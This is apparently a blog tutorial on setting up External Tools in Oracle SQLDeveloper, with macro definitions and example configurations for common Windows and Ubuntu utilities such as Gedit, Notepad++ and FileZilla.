    On the other hand, conventional wisdom is rather less forthcoming if instead you have a multi-tool of Central European origin.
    Fortunately, SQLDeveloper pays no heed to conventional wisdom but allows you to configure callouts to other useful software utilities by means of it’s External Tools functionality.
    What we’re going to look at here is :

    • Adding a call to an external tool in SQLDeveloper
    • Using macros to control the behaviour of an External Tool
    • Configuration settings for common tools in Windows
    • Configuration settings for common tools in Ubuntu

    Setup External Tools

    In the Tools menu, select External Tools.
    If you’re on Windows, you can kick-start matters by clicking the Find Tools button.
    This will configure :

    • Notepad
    • Internet Explorer
    • Word (if available)

    This option is not available on Ubuntu, which is where I am at the moment so…

    Adding a new tool

    I’m going to start with the equivalent to Notepad on Ubuntu.
    I feel I should apologise to the noble Gedit for that last sentence.
    From the Tools menu select External Tools :

    Click New.

    Now we need to enter the location of the program we want to run. As we’re on Linux, we can find this out easily enough :

    which gedit
    /usr/bin/gedit
    

    If we have a file in focus when we call this editor we’d like Gedit to open it. We’d also like it to use the directory in which that file is located.
    We can achieve this using some of the macros available to us. In the Argument field, click Insert. Now click on File Name :

    Click OK and we can see that the field now has a value of :

    ${file.name}
    

    We’re going to use a macro for the Run Directory as well. In this case we’ll select the File Directory macro which gives us a Run Directory value of

    ${file.dir}
    

    After all that the dialog looks like this :

    Click Next

    Next we can configure how the tool is displayed in SQLDeveloper. We’ll leave the caption as is. We’ll add a tooltip though.
    Oh, and the icon is currently set to the SQLDeveloper default for External Tools.
    On Windows, SQLDeveloper is usually smart enough to derive the appropriate icon from a fully qualified path to the executable. On Ubuntu, we need to point it in the right direction.
    We also need to be a bit careful about the size of the icon file we choose otherwise SQLDeveloper will complain with something like :

    Fortunately, Ubuntu tends to put suitably sized icons for it’s applications in :

    /usr/share/icons/gnome/16x16/apps
    

    …less fortunately, the one for Gedit isn’t called gedit.png. Anyhow, what we end up with is :

    Next, we want to determine where Gedit will be available.
    As well as the main Tools menu, we’d like it to be on the context menus and the main toolbar.
    We don’t want to log output messages :

    I’m going to leave the Availability settings at the default :

    Finally click Finish, then close the External Tools window.

    Now, if I have a file in focus, I can open it in Gedit :

    Macro Definitions

    In addition to External Tool configuration, these macros can be used elsewhere in SQLDeveloper to configure various preferences. For example, to set your Worksheet default path to be the same directory as the file that you have open at any point in time, you’d use

    "${file.dir}"
    

    You can get an idea of the value of certain macros when you select them in the External Tool setup dialog:

    The complete list of macros – at least – all of those available in the External Tool config dialog- is :

    Macro Description syntax DB Connection String Database Connection String ${sqldev.conn} DB UserName Database username ${sqldev.dbuser} Environment Variable The value of an environment variable The var attribute specifies the name of the environment variable ${env:var=PATH} File Directory The directory containing the currently selected file ${file.dir} File Extension The extension of the currently selected file ${file.ext} File Name The name of the currently selected file ${file.name} File Name Without Extension The basename of the currently selected file ${file.name.no_ext} File Path Full path of the currently selected file ${file.path} File URL The URL of the currently selected file ${file.url} IDE Application Name The name of this application ${ide.name} IDE Classpath The full classpath of this application ${ide.classpath} IDE Install Directory The directory in which this application is installed ${ide.dir} IDE Oracle Home Directory The oracle home directory in which this application is installed. ${ide.oracle.dir} IDE User directory The user directory ${ide.user.dir} Prompt Displays a prompt at runtime to allow user to specify an argument value ${prompt} Prompt with Label Prompt user for a value. The label attribute specifies a label to display in the prompt dialog ${promptl:=prompt text} System Property The value of a system property. The name attribute specifies the name of the system property ${prop:name=property} Configuration details for common Windows tools

    Here’s a list of configurations that work for me on Windows 10.
    There are a couple of things that may help on Windows when looking for the information required to configure an external tool.
    First, if you’re unsure as to the location fo the executable of the program you need to run, you can simply run it and then open Task Manager and right-click it. This will give you the exe name and path.
    Second, whilst executables that are in your path do not require a fully qualified path name for SQLD to find them, it will usually need the full path to use the normal icon for that program.

    Tool Executable Arguments Run Directory Icon Location Windows Explorer C:\Windows\explorer.exe /select,${file.path} Notepad++ C:\Program Files(x86)\Notepad++\notepad++.exe ${file.path} ${file.dir} Git Bash C:\Program Files\Git\git-bash.exe ${file.dir} Putty C:\Program Files(x86)\PUTTY\putty.exe Excel C:\PROGRA~1\MICROS~1\Office16\EXCEL.EXE ${file.path} ${file.dir} FileZilla C:\Program Files\FileZilla FTP Client\filezilla.exe “-a ${file.path}” Snipping tool C:\Windows\system32\SnippingTool.exe ide.fileicon.file:/C:/Windows/system32/SnippingTool.exe Notepad notepad.exe ${file.path} ${file.dir} ide.fileicon.file:/C:/Windows/system32/notepad.exe Configuration details for common Ubuntu tools

    Things are slightly different on Ubuntu, No, I’m not about to go into a chauvanistic rant about the innate superiority of life with the Penguins – although I’ve not included Git Bash in this list because Ubuntu has proper Bash…

    Tool Executable Arguments Run Directory Icon Location Nautilus /usr/bin/nautilus ${file.dir} /usr/share/icons/gnome/16×16/apps/file-manager.png Gedit /usr/bin/gedit ${file.name} ${file.dir} /usr/share/icons/gnome/16×16/apps/accessories-text-editor.png Terminal /usr/bin/gnome-terminal ${file.dir} /usr/share/icons/gnome/16×16/apps/gnome-terminal.png LibreOffice Calc /usr/bin/libreoffice –calc ${file.name} ${file.dir} /usr/share/icons/gnome/16×16/apps/calc.png FileZilla /usr/bin/filezilla “-a ${file.path}” /usr/share/filezilla/resources/16×16/filezilla.png VS Code /usr/bin/code ${file.name} ${file.dir} Screenshot /usr/bin/gnome-screenshot /usr/share/icons/gnome/16×16/apps/applets-screenshooter.png

    Note that I couldn’t fine an appropriately sized icon for VS Code.

    Well that’s used up some time, but there’s still a month to go until the election. I’ll have to find something else to distract myself with.

    Pages